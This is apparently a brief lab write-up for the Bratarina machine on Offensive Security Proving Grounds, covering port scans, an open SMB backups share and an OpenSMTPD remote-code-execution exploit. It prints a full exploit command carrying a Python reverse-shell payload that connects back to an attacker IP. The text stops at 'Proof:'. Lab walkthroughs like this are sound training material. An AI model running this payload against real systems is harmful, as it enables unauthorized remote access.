Bratarina

Writeup for Bratarina from Offensive Security Proving Grounds (PG)

Service Enumeration

nmapAutomator.sh -H 192.168.163.71 -t full

nmapAutomator.sh -H 192.168.163.71 -t vulns

Samba

Null SMB sessions are allowed.

There is a backups share.

SMTP

OpenSMTP 2.0.0 is used.

Exploitation

This is vulnerable to an RCE vulnerability: https://www.exploit-db.com/exploits/47984

python3 47984.py 192.168.163.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.163\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'

We receive a reverse shell:

Proof: